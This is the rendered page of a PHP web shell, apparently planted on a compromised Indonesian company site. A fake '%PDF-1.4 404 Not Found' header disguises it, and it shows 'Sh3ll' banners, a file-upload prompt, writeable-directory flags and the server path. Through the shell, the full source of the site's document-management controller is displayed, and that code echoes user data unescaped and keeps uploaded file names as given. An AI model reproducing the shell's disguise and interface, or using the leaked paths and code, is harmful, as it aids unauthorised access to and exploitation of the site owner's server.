%PDF-1.4 404 Not Found
Sh3ll



Directory :  /var/www/vhosts/lautnusantara.com/httpdocs/mis/app/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Current File : /var/www/vhosts/lautnusantara.com/httpdocs/mis/app/Controllers/Op_dokumen.php
<?php

namespace App\Controllers;

use App\Models\History_model;
use App\Models\Op_Dokumen_Model;
use App\Models\Op_Dokumen_category_Model;

class Op_dokumen extends BaseController
{
    protected $History;
    protected $session;
    protected $Op_Dokumen_Model;
    protected $Op_Dokumen_category_Model;

    public function __construct()
    {
        $this->History = new History_model();
        $this->session = session();
        $this->Op_Dokumen_Model = new Op_Dokumen_Model();
        $this->Op_Dokumen_category_Model = new Op_Dokumen_category_Model();
    }

    public function index()
    {
        $user_id = session()->get('user_id');
        $username = session()->get('username');
        $firstname = session()->get('firstname');
        $lastname = session()->get('lastname');

        $this->History->save([
            'user_id' => $user_id,
            'username' => $username,
            'name' => $firstname . ' ' . $lastname,
            'kegiatan' => 'Operasional Dokumen',
            'jenis_kegiatan' => 'Operasional Daftar Dokumen',
            'tanggal_waktu' => date('Y-m-d H:i:s')
        ]);

        // $this->data_dashboard = new DashboardModel();

        // $keyword = $this->request->getVar('search');
        $keyword = $this->request->getGet('search');

        $data = array(
            'title' => 'MCS - Manajemen Compro System',
            'description' => 'Aplikasi MCS - Manajemen Compro System',
            'keywords' => 'MCS, Manajemen, Compro',
            'author' => 'SSN',
            'parent_id_menu' => '48',
            'parent_id_submenu' => '49',
            'id_menu' => '50',
            'page1' => 'Operasional Dokumen',
            'page2' => '',
            'link01' => base_url() . '/op_dokumen/add',
            'link02' => base_url() . '/op_dokumen',

            // 'title' => 'User List',
            'data_dokumen' => $this->Op_Dokumen_Model->get_op_dokumen()->get()->getResultArray(),
            // 'data_dokumen' => $this->Op_Dokumen_Model->paginate(10),
            // 'pager' => $this->Op_Dokumen_Model->pager->links(),
            // 'keyword' => $keyword,

            // 'componen' => 'theme/BeyondAdmin/halaman/master_data/op_dokumen/daftar'
        );

        // if ($keyword == null) {
        //     $data['data_dokumen'] = $this->Op_Dokumen_Model->get_op_dokumen()->paginate(12);
        //     $data['pager'] = $this->Op_Dokumen_Model->pager->links();
        // }

        $data['componen'] = 'theme/BeyondAdmin/halaman/master_data/op_dokumen/daftar';
        $data['page'] = $this->request->getVar('page') ? $this->request->getVar('page') : 1;
        echo view('layout', $data);
    }

    public function search()
    {
        //Mengambil isi parameter cari
        $keyword = $this->request->getGet('search');
        if ($keyword != null) {
            $data_dokumen = $this->Op_Dokumen_Model->get_op_dokumen(false, $keyword)->paginate(15);
            echo view('layout', $data_dokumen);
            $pager = $this->Op_Dokumen_Model->pager->links();
        } else {
            $data_dokumen = $this->Op_Dokumen_Model->get_op_dokumen()->paginate(12);
            echo view('layout', $data_dokumen);
            $pager = $this->Op_Dokumen_Model->pager->links();
        }

        echo '<br>
        <table class="table table-striped table-hover table-bordered">
        <thead>
        <tr role="row">
            <th width="5%">
                No
            </th>
            <th width="7%">
                image
            </th>
            <th width="15%">
                Judul
            </th>
            <th width="25%">
                Deskripsi
            </th>
            <th width="10%">
                Kategori
            </th>
            <th width="6%">
                Penulis
            </th>
            <th width="5%">
                Hits
            </th>
            <th width="5%">
                Publish
            </th>
            <th width="5%">
                Active
            </th>
            <th width="17%">

            </th>
        </tr>
        </thead>
        <tbody>';
        // echo ($keyword);
        if ($data_dokumen != null) {
            //Query sql untuk mencari data
            $page = $this->request->getVar('page') ? $this->request->getVar('page') : 1;
            $no = 0;
            $no = 0 + (10 * ($page - 1));
            foreach ($data_dokumen as $data) {
                $no++;
                if ($data['published'] == 0) {
                    $published = '<label>
                                                        <input class="checkbox-slider slider-icon colored-blue" type="checkbox" name="published" id="published-' . $data['id'] . '" onclick="onEditPublished(';
                    $published = $published . $data['id'];
                    $published = $published . ')">
                                                        <span class="text"></span>
                                                    </label>';
                } else {
                    $published = '<label>
                                                        <input class="checkbox-slider slider-icon colored-blue" type="checkbox" name="published" id="published-' . $data['id'] . '" onclick="onEditPublished(';
                    $published = $published . $data['id'];
                    $published = $published . ')" checked >
                                                        <span class="text"></span>
                                                    </label>';
                }

                if ($data['active'] == 0) {
                    $active = '<label>
                                                        <input class="checkbox-slider slider-icon colored-blue" type="checkbox" name="aktif" id="aktif-' . $data['id'] . '" onclick="onEditActive(';
                    $active = $active . $data['id'];
                    $active = $active . ')">
                                                        <span class="text"></span>
                                                    </label>';
                } else {
                    $active = '<label>
                                                        <input class="checkbox-slider slider-icon colored-blue" type="checkbox" name="aktif" id="aktif-' . $data['id'] . '" onclick="onEditActive(';
                    $active = $active . $data['id'];
                    $active = $active . ')" checked >
                                                        <span class="text"></span>
                                                    </label>';
                }
                $cek_file = strpos($data['url_image'], ".");
                if ($cek_file > 0) {
                    $url_image = '<img src="' . $data['url_image'] . '" alt="' . $data['title'] . '" width="75">';
                } else {
                    $url_image = '';
                }

                $body = '
               <tr>
                    <td>
                        ' . $no . '
                    </td>
                    <td>' .
                    $url_image . '
                    </td>
                    <td>' .
                    $data['title'] . '
                    </td>
                    <td>
                        ' . $data['introtext'] . '
                    </td>
                    <td>
                        ' . $data['nama_kategori'] . '
                    </td>
                    <td>
                        ' . $data['first_name'] . ' ' . $data['last_name'] . '
                    </td>
                    <td>
                        ' . $data['hits'] . '
                    </td>
                    <td class="center ">
                        ' . $published . '
                    </td>
                    <td class="center ">
                        ' . $active . '
                    </td>
                    <td class="center ">
                        <a href="' . base_url() . '/op_dokumen/edit/' . $data['id'] . '/' . $page . '"
                            class="btn btn-info btn-xs"><i class="fa fa-edit"></i> Edit</a>
                        <a href="' . base_url() . '/op_dokumen/delete/' . $data['id'] . '"
                            class="btn btn-danger btn-xs "><i class="fa fa-trash-o"></i> Delete</a>
                    </td>
                </tr>';
                echo $body;

            }
            echo '</tbody>
            </table>
            <div class="row DTTTFooter">
                            <div class="col-sm-6">
                                <div class="dataTables_info" id="simpledatatable_info" role="status" aria-live="polite">

                                </div>
                            </div>
                            <div class="col-sm-6">
                                <div class="dataTables_paginate paging_bootstrap" id="editabledatatable_paginate">
                                    <ul class="pagination">
                                        ' . $pager . '
                                    </ul>
                                </div>
                            </div>
                        </div>';
        } else {
            echo ' <table class="table table-striped table-hover table-bordered">
                    <thead><center>
                    <br><br><br><br>
                    <h1> Maaf data tidak ditemukan </h1>
                    <br><br><br><br>
                    </center> 
                </thead>
                </table>';
        }
    }

    public function add()
    {
        $user_id = session()->get('user_id');
        $username = session()->get('username');
        $firstname = session()->get('firstname');
        $lastname = session()->get('lastname');

        $page = 1;
        // $this->History->save([
        //     'user_id'    => $user_id,
        //     'username'   => $username,
        //     'name'       => $firstname.' '.$lastname,
        //     'kegiatan'   => 'Dashboard',
        //     'jenis_kegiatan'     => 'Login/Dashboard',
        //     'tanggal_waktu'  => date('Y-m-d H:i:s')
        // ]);

        // $this->data_dashboard = new DashboardModel();


        $data = array(
            'title' => 'MCS - Manajemen Compro System',
            'description' => 'Aplikasi MCS - Manajemen Compro System',
            'keywords' => 'MCS, Manajemen, Compro',
            'author' => 'SSN',
            'page' => $page,
            'parent_id_menu' => '48',
            'parent_id_submenu' => '49',
            'id_menu' => '50',
            'page1' => 'Add Operasional Dokumen',
            'page2' => 'Operasional Dokumen',
            'link01' => base_url() . '/op_dokumen/add',
            'link02' => base_url() . '/op_dokumen',
            'title' => old('title'),
            'alias' => old('alias'),
            'catid' => old('catid'),
            'introtext' => old('introtext'),
            'fulltexts' => old('fulltexts'),
            'publish_up' => old('publish_up'),
            // 'published' => old('published'),
            'metadesc' => old('metadesc'),
            'metakey' => old('metakey'),
            'url_image' => old('url_image'),
            'url_dokumen' => old('url_dokumen'),
            'format' => old('format'),
            'published' => 0,
            'active' => 0,
            'id' => 0,
            'status' => 'add',
            'data_baru' => 'Y',
            'url_form' => base_url('op_dokumen/save'),
            'data_dokumen_category' => $this->Op_Dokumen_category_Model->get_list_op_dokumen_category()->getResultArray(),

            'componen' => 'theme/BeyondAdmin/halaman/master_data/op_dokumen/add'
        );
        echo view('layout', $data);
    }

    public function edit($id, $page = 1)
    {
        $user_id = session()->get('user_id');
        $username = session()->get('username');
        $firstname = session()->get('firstname');
        $lastname = session()->get('lastname');

        // $this->History->save([
        //     'user_id'    => $user_id,
        //     'username'   => $username,
        //     'name'       => $firstname.' '.$lastname,
        //     'kegiatan'   => 'Dashboard',
        //     'jenis_kegiatan'     => 'Login/Dashboard',
        //     'tanggal_waktu'  => date('Y-m-d H:i:s')
        // ]);

        // $this->data_dashboard = new DashboardModel();
        $dt_dokumen = $this->Op_Dokumen_Model->get_op_dokumen($id, false)->get()->getResult();
        $xmlFile = pathinfo($dt_dokumen[0]->url_dokumen);
        // var_dump($xmlFile);
        // $extension = $xmlFile['extension'];

        $data = array(
            'title' => 'MCS - Manajemen Compro System',
            'description' => 'Aplikasi MCS - Manajemen Compro System',
            'keywords' => 'MCS, Manajemen, Compro',
            'author' => 'SSN',
            'page' => $page,
            'parent_id_menu' => '48',
            'parent_id_submenu' => '49',
            'id_menu' => '50',
            'page1' => 'Edit Operasional Dokumen',
            'page2' => 'Operasional Dokumen',
            'link01' => base_url() . '/op_dokumen/edit',
            'link02' => base_url() . '/op_dokumen',
            'title' => $dt_dokumen[0]->title,
            'alias' => $dt_dokumen[0]->alias,
            'catid' => $dt_dokumen[0]->catid,
            'publish_up' => $dt_dokumen[0]->publish_up,
            // 'published' => $dt_dokumen[0]->published,
            'introtext' => $dt_dokumen[0]->introtext,
            'fulltexts' => $dt_dokumen[0]->fulltexts,
            'metadesc' => $dt_dokumen[0]->metadesc,
            'metakey' => $dt_dokumen[0]->metakey,
            // 'active' => $dt_dokumen[0]->active,
            'published' => 0,
            'active' => 0,
            'id' => $dt_dokumen[0]->id,
            'url_image' => $dt_dokumen[0]->url_image,
            'url_dokumen' => $dt_dokumen[0]->url_dokumen,
            // 'format' => $extension,
            'data_baru' => 'T',

            'status' => 'edit',
            'url_form' => base_url('op_dokumen/update'),

            'data_dokumen_category' => $this->Op_Dokumen_category_Model->get_list_op_dokumen_category()->getResultArray(),
            'componen' => 'theme/BeyondAdmin/halaman/master_data/op_dokumen/add'
        );
        echo view('layout', $data);
    }
    public function lihat($id, $page = 1)
    {
        $user_id = session()->get('user_id');
        $username = session()->get('username');
        $firstname = session()->get('firstname');
        $lastname = session()->get('lastname');

        // $this->History->save([
        //     'user_id'    => $user_id,
        //     'username'   => $username,
        //     'name'       => $firstname.' '.$lastname,
        //     'kegiatan'   => 'Dashboard',
        //     'jenis_kegiatan'     => 'Login/Dashboard',
        //     'tanggal_waktu'  => date('Y-m-d H:i:s')
        // ]);

        // $this->data_dashboard = new DashboardModel();
        $dt_dokumen = $this->Op_Dokumen_Model->get_op_dokumen($id, false)->get()->getResult();

        $xmlFile = pathinfo($dt_dokumen[0]->url_dokumen);
        // var_dump(count($xmlFile));
        if (count($xmlFile) == 4) {
            $extension = $xmlFile['extension'];
        } else {
            $extension = null;
        }

        $data = array(
            'title' => 'MCS - Manajemen Compro System',
            'description' => 'Aplikasi MCS - Manajemen Compro System',
            'keywords' => 'MCS, Manajemen, Compro',
            'author' => 'SSN',
            'page' => $page,
            'parent_id_menu' => '48',
            'parent_id_submenu' => '49',
            'id_menu' => '50',
            'page1' => 'Lihat Operasional Dokumen',
            'page2' => 'Operasional Dokumen',
            'link01' => base_url() . '/op_dokumen/edit',
            'link02' => base_url() . '/op_dokumen',
            'title' => $dt_dokumen[0]->title,
            'alias' => $dt_dokumen[0]->alias,
            'catid' => $dt_dokumen[0]->catid,
            'publish_up' => $dt_dokumen[0]->publish_up,
            // 'published' => $dt_dokumen[0]->published,
            'introtext' => $dt_dokumen[0]->introtext,
            'fulltexts' => $dt_dokumen[0]->fulltexts,
            'metadesc' => $dt_dokumen[0]->metadesc,
            'metakey' => $dt_dokumen[0]->metakey,
            // 'active' => $dt_dokumen[0]->active,
            'published' => 0,
            'active' => 0,
            'id' => $dt_dokumen[0]->id,
            'url_image' => $dt_dokumen[0]->url_image,
            'url_dokumen' => $dt_dokumen[0]->url_dokumen,
            'format' => $extension,
            'data_baru' => 'T',

            'status' => 'lihat',
            'url_form' => base_url('op_dokumen/update'),

            'data_dokumen_category' => $this->Op_Dokumen_category_Model->get_list_op_dokumen_category()->getResultArray(),
            'componen' => 'theme/BeyondAdmin/halaman/master_data/op_dokumen/lihat'
        );
        echo view('layout', $data);
    }
    public function download($id)
    {
        $base_root = "/var/www/vhosts/lautnusantara.com/httpdocs";
        $dt_dokumen = $this->Op_Dokumen_Model->get_op_dokumen($id, false)->get()->getResult();
        return $this->response->download($base_root . $dt_dokumen[0]->url_dokumen, null);
    }
    public function save()
    {
        if (
            !$this->validate([
                'title' => [
                    'rules' => 'required|min_length[5]',
                    'errors' => [
                        'required' => '{field} Judul Dokumen Harus diisi'
                    ]
                ],
                'catid' => [
                    'rules' => 'required',
                    'errors' => [
                        'required' => 'Kategori Dokumen Harus diisi'
                    ]
                ],
                'image' => [
                    'rules' => 'max_size[image,2048]|is_image[image]|mime_in[image,image/jpg,image/jpeg,image/png]',
                    'errors' => [
                        'max_size' => 'ukuran gambar terlalu besar max size (2MB)',
                        'is_image' => 'file yang dipilih tidak valid',
                        'mime_in' => 'gambar tidak valid'
                    ]

                ],
                'dokumen_upload' => [
                    'rules' => 'mime_in[dokumen_upload,application/msword,application/pdf,application/zip,application/vnd.openxmlformats-officedocument.wordprocessingml.document,application/vnd.ms-office]|max_size[dokumen_upload,5000]',
                    'errors' => [
                        'mime_in' => 'Format dokumen tidak didukung, sesuaikan format (pdf/doc/docx/zip)',
                        'max_size' => 'Ukuran File Maksimal 5 MB'
                    ]
                ],

            ])
        ) {
            session()->setFlashdata('error', $this->validator->listErrors());
            return redirect()->back()->withinput();
        } else {

            $username = session()->get('username');
            $user_id = session()->get('user_id');
            $published = 0;
            // $this->request->getVar('active');
            // if (!is_null($this->request->getVar('published'))) {
            //     $published = 1;
            // }
            $tglStr = $this->request->getVar('tgl');
            $tgl = date('Y-m-d', strtotime($tglStr));

            $jamStr = $this->request->getVar('jam');
            $jam = date('H:i:s', strtotime($jamStr));

            $publish_up = $tgl . ' ' . $jam;

            $title = str_replace('"', "'", $this->request->getVar('title'));
            $alias = $this->get_title_to_alias($title);

            //--- cek image ----
            $fileImage = $this->request->getFile('image');

            $date = date_create();
            $tahun = date_format($date, "Y");
            $bulan = date_format($date, "m-M");
            $base_root = "/var/www/vhosts/lautnusantara.com/httpdocs";
            $folder_image = "/storage/images/upload/" . $tahun . "/" . $username . "/" . $bulan . "/";

            //---- image ----
            if ($fileImage->getError() == 4) {
                $namaImage = $this->request->getVar('sampulLama');
            } else if ($this->request->getVar('sampulLama') == null) {
                // generate nama file random
                $namaImage = $fileImage->getName();
                // pindahkan gambar
                $fileImage->move($base_root . $folder_image, $namaImage);
            } else if ($fileImage != null) {
                // generate nama file random
                $namaImage = $fileImage->getName();
                // pindahkan gambar
                $fileImage->move($base_root . $folder_image, $namaImage);
                // unlink('images/user/'. $this->request->getVar('sampulLama'));
            }

            if ($namaImage == null or $namaImage == "") {
                if ($this->request->getVar('sampulLama') == null or $this->request->getVar('sampulLama') == '') {
                    $url_image = '';
                } else {
                    $url_image = $this->request->getVar('sampulLama');
                }
            } else {
                $url_image = $folder_image . $namaImage;
            }

            //--- cek dokumen ----
            $dokumen = $this->request->getFile('dokumen_upload');

            $date = date_create();
            $tahun = date_format($date, "Y");
            $bulan = date_format($date, "m-M");
            $base_root = "/var/www/vhosts/lautnusantara.com/httpdocs";
            $folder_dokumen = "/storage/dokumen/upload/" . $tahun . "/" . $username . "/" . $bulan . "/";

            //---- dokumen ----
            if ($dokumen->getError() == 4) {
                // print('error toh');
                $nama_dokumen = $dokumen->getName();
            } else if ($this->request->getVar('title') == null) {
                // // generate nama file random
                $nama_dokumen = $dokumen->getName();
                // // pindahkan gambar
                $dokumen->move($base_root . $folder_dokumen, $nama_dokumen);
                // print('berhasil toh 1');
            } else if ($dokumen != null) {
                // generate nama file random
                $nama_dokumen = $dokumen->getName();
                // pindahkan gambar
                $dokumen->move($base_root . $folder_dokumen, $nama_dokumen);
                // print('berhasil toh 2');
                // unlink('images/user/'. $this->request->getVar('sampulLama'));
            }

            if ($nama_dokumen == null or $nama_dokumen == "") {
                if ($this->request->getVar('title') == null or $this->request->getVar('title') == '') {
                    $url_dokumen = '';
                } else {
                    $url_dokumen = $dokumen->getName();
                }
            } else {
                $url_dokumen = $folder_dokumen . $nama_dokumen;
            }


            $data = array(
                'title' => $this->request->getVar('title'),
                'alias' => $alias,
                'catid' => $this->request->getVar('catid'),
                'publish_up' => $publish_up,
                'published' => $published,
                'introtext' => substr(strip_tags($this->request->getVar('fulltexts')), 0, 150),
                'fulltexts' => $this->request->getVar('fulltexts'),
                'metadesc' => $this->request->getVar('metadesc'),
                'metakey' => $this->request->getVar('metakey'),
                'created_by' => $user_id,
                'active' => $published,
                'url_image' => $folder_image . $namaImage,
                'url_dokumen' => $folder_dokumen . $nama_dokumen,
            );

            $this->Op_Dokumen_Model->save_op_dokumen($data);

            return redirect()->to(base_url('op_dokumen'));
            // return redirect()->back();
        }
    }

    public function update()
    {
        if (
            !$this->validate([
                'title' => [
                    'rules' => 'required|min_length[3]',
                    'errors' => [
                        'required' => 'Judul Dokumen Harus diisi'
                    ]
                ],
                'catid' => [
                    'rules' => 'required',
                    'errors' => [
                        'required' => 'Kategori Dokumen Harus diisi'
                    ]
                ],
                'image' => [
                    'rules' => 'max_size[image,2048]|is_image[image]|mime_in[image,image/jpg,image/jpeg,image/png]',
                    'errors' => [
                        'max_size' => 'ukuran gambar terlalu besar max size (2MB)',
                        'is_image' => 'file yang dipilih tidak valid',
                        'mime_in' => 'gambar tidak valid'
                    ]

                ],
                'dokumen_upload' => [
                    'rules' => 'mime_in[dokumen_upload,application/msword,application/pdf,application/zip,application/vnd.openxmlformats-officedocument.wordprocessingml.document,application/vnd.ms-office]|max_size[dokumen_upload,5000]',
                    'errors' => [
                        'mime_in' => 'Format dokumen tidak didukung, sesuaikan format (pdf/doc/docx/zip)',
                        'max_size' => 'Ukuran File Maksimal 5 MB'
                    ]
                ],
            ])
        ) {
            session()->setFlashdata('error', $this->validator->listErrors());
            return redirect()->back()->withinput();
        } else {

            $username = session()->get('username');
            $user_id = session()->get('user_id');
            $published = 0;
            // $this->request->getVar('active');
            $page = $this->request->getVar('page');


            // if (!is_null($this->request->getVar('published'))) {
            //     $published = 1;
            // }
            $tglStr = $this->request->getVar('tgl');
            $tgl = date('Y-m-d', strtotime($tglStr));

            $jamStr = $this->request->getVar('jam');
            $jam = date('H:i:s', strtotime($jamStr));

            $publish_up = $tgl . ' ' . $jam;

            $id = $this->request->getVar('id');

            $title = str_replace('"', "'", $this->request->getVar('title'));
            $alias = $this->get_title_to_alias($title);

            //--- cek image ----
            $fileImage = $this->request->getFile('image');

            $date = date_create();
            $tahun = date_format($date, "Y");
            $bulan = date_format($date, "m-M");
            $base_root = "/var/www/vhosts/lautnusantara.com/httpdocs";
            $folder_image = "/storage/images/upload/" . $tahun . "/" . $username . "/" . $bulan . "/";

            $imageLama = $this->request->getVar('sampulLama');
            // cek gambar lama
            if ($fileImage->getError() == 4) {
                $namaImage = $this->request->getVar('sampulLama');
            } else if ($this->request->getVar('sampulLama') == null) {
                // generate nama file random
                $namaImage = $fileImage->getName();
                // $namaImage = $fileImage->getRandomName();
                // pindahkan gambar
                $fileImage->move($base_root . $folder_image, $namaImage);
            } else if ($fileImage != null) {
                // generate nama file random
                $namaImage = $fileImage->getName();
                // pindahkan gambar
                $fileImage->move($base_root . $folder_image, $namaImage);
                // unlink('images/user/'. $this->request->getVar('sampulLama'));
            }

            // echo $namaImage.'<br>'.$imageLama;
            // die;

            if ($namaImage == null or $namaImage == "") {
                $url_image = $this->request->getVar('sampulLama');
            } else {
                if ($imageLama == NULL or $imageLama = '') {
                    $url_image = $folder_image . $namaImage;
                } else {
                    if (substr($namaImage, 0, 9) == substr($folder_image, 0, 9)) {
                        $url_image = $namaImage;
                    } else {
                        $url_image = $folder_image . $namaImage;
                    }
                }
            }

            //--- cek dokumen ----
            $dokumen = $this->request->getFile('dokumen_upload');
            $cek_nama = $dokumen->getName();
            if ($dokumen != null) {
                // print_r($dokumen);
                $date = date_create();
                $tahun = date_format($date, "Y");
                $bulan = date_format($date, "m-M");
                $base_root = "/var/www/vhosts/lautnusantara.com/httpdocs";
                $folder_dokumen = "/storage/dokumen/upload/" . $tahun . "/" . $username . "/" . $bulan . "/";

                //---- dokumen ----
                if ($dokumen->getError() == 4) {
                    $nama_dokumen = $dokumen->getName();
                } else if ($this->request->getVar('title') == null) {
                    $nama_dokumen = $dokumen->getName();
                    $dokumen->move($base_root . $folder_dokumen, $nama_dokumen);
                } else if ($dokumen != null) {
                    $nama_dokumen = $dokumen->getName();
                    $dokumen->move($base_root . $folder_dokumen, $nama_dokumen);
                }

                if ($nama_dokumen == null or $nama_dokumen == "") {
                    if ($this->request->getVar('title') == null or $this->request->getVar('title') == '') {
                        $url_dokumen = '';
                    } else {
                        $url_dokumen = $this->request->getVar('cek_dokumen');
                    }
                } else {
                    $url_dokumen = $folder_dokumen . $nama_dokumen;
                }

            } else {
                $url_dokumen = $this->request->getVar('cek_dokumen');
                die;
            }


            $data = array(
                'title' => $this->request->getVar('title'),
                'alias' => $alias,
                'catid' => $this->request->getVar('catid'),
                'publish_up' => $publish_up,
                'published' => $published,
                'introtext' => substr(strip_tags($this->request->getVar('fulltexts')), 0, 150),
                'fulltexts' => $this->request->getVar('fulltexts'),
                'metadesc' => $this->request->getVar('metadesc'),
                'metakey' => $this->request->getVar('metakey'),
                'active' => $published,
                'modified_by' => $user_id,
                'url_image' => $url_image,
                'url_dokumen' => $url_dokumen,
            );

            $this->Op_Dokumen_Model->update_op_dokumen($data, $id);

            return redirect()->to(base_url('op_dokumen?page=' . $page));
            // return redirect()->back() ;
        }
    }


    // public cek_file_image($nama_file=false)
    // {
    // if (file_exists($nama_file))
    // {
    // $file_baru=$nama_file+'_1';
    // $no =1;
    // while (file_exists($file_baru)) {

    // } 
    // return true;
    // }
    // else
    // {
    // return false;
    // }
    // }

    public function delete($id)
    {
        $data = array(
            'trash' => 1,
        );

        $this->Op_Dokumen_Model->update_op_dokumen($data, $id);

        return redirect()->to(base_url('op_dokumen'));
    }

    function edit_active()
    {

        $id = $this->request->getVar('ids');

        $active = 0;
        if (!is_null($this->request->getVar('active'))) {
            $active = 1;
        }


        $data = array(
            'active' => $active,
        );

        //return redirect()->to(base_url());		
        // var_dump($data);
        // die;

        $this->Op_Dokumen_Model->update_op_dokumen($data, $id);

        // return redirect()->to(base_url('op_dokumen'));
    }

    function simpan_active()
    {

        $id = $this->request->getVar('ids');

        $active = $this->request->getVar('cek');

        $data = array(
            'active' => $active,
        );


        $this->Op_Dokumen_Model->update_op_dokumen($data, $id);


    }

    function simpan_publish()
    {

        $id = $this->request->getVar('ids');

        $active = $this->request->getVar('cek');

        $data = array(
            'published' => $active,
        );


        $this->Op_Dokumen_Model->update_op_dokumen($data, $id);


    }

    function get_title_to_alias($text)
    {
        $textlow = strtolower($text);
        $textfree = preg_replace('/[^a-zA-Z0-9_ -]/s', '', $textlow);
        $result = str_replace(',', '', $textfree);
        $result = str_replace(' ', '-', $textfree);
        return $result;
    }


}
?>

WonXd677 Sh3LL